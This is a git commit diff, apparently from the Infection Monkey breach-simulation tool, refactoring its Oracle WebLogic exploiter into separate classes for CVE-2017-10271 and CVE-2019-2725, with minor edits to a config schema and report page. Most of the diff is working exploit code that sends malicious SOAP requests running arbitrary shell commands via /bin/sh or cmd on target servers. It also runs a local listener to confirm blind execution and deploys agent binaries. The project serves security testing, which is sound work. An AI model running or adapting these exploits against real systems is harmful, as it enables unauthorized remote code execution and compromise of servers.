WeblogicExploiter class refactored to only handle vulnerability execution.

This commit is contained in:
VakarisZ 2019-07-01 13:53:37 +03:00
parent d0d0f13a43
commit c5e1b0a93f
3 changed files with 65 additions and 57 deletions

View File

@ -1,3 +1,48 @@
from __future__ import print_function
import threading
import logging
import time
import copy
from requests import post, exceptions
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should we wait after each request in seconds
REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
# Malicious requests' headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def exploit_host(self):
exploiters = [WebLogic20192725, WebLogic201710271]
for exploiter in exploiters:
if exploiter(self.host).exploit_host():
return True
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
@ -5,31 +50,7 @@
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
from __future__ import print_function
from requests import post, exceptions
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
import time
import copy
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds
REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
class WebLogicExploiter(WebRCE):
class WebLogic201710271(WebRCE):
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
@ -38,44 +59,29 @@ class WebLogicExploiter(WebRCE):
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe',
'win64': 'monkey64.exe'})
def get_exploit_config(self):
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
exploit_config['url_extensions'] = WebLogicExploiter.URLS
exploit_config['url_extensions'] = WebLogic201710271.URLS
return exploit_config
def exploit_host(self):
exploiters = [WebLogic20192725]
for exploiter in exploiters:
if exploiter(self.host).exploit_host():
return True
if super(WebLogicExploiter, self).exploit_host():
return True
else:
return False
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
else:
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
try:
post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
@ -111,7 +117,7 @@ class WebLogicExploiter(WebRCE):
def check_if_exploitable_weblogic(self, url, httpd):
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
try:
post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False)
post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
except exceptions.ReadTimeout:
# Our request will not get response thus we get ReadTimeout error
pass
@ -207,6 +213,7 @@ class WebLogicExploiter(WebRCE):
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
def __init__(self, local_ip, local_port, lock, max_requests=1):
self.local_ip = local_ip
self.local_port = local_port
@ -223,6 +230,7 @@ class WebLogicExploiter(WebRCE):
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True
@ -243,8 +251,8 @@ class WebLogicExploiter(WebRCE):
class WebLogic20192725(WebRCE):
URLS = ["_async/AsyncResponseServiceHttps"]
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogic20192725, self).__init__(host)
@ -262,14 +270,14 @@ class WebLogic20192725(WebRCE):
else:
payload = self.get_exploit_payload('cmd', '/c', command)
try:
resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT)
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
def check_if_exploitable(self, url):
headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''})
headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
return True

View File

@ -89,7 +89,7 @@ SCHEMA = {
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
"title": "WebLogic Exploiter"
},
{
"type": "string",

View File

@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent {
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
<li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
@ -895,7 +893,9 @@ class ReportPageComponent extends AuthComponent {
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span
className="label label-danger">remote code execution</span> attacks.
<br/>
The attack was made possible due to one of the following vulnerabilities: CVE-2017-10271 or CVE-2019-2725
The attack was made possible due to one of the following vulnerabilities:
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271"}> CVE-2017-10271</a> or
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725"}> CVE-2019-2725</a>
</CollapsibleWellComponent>
</li>
);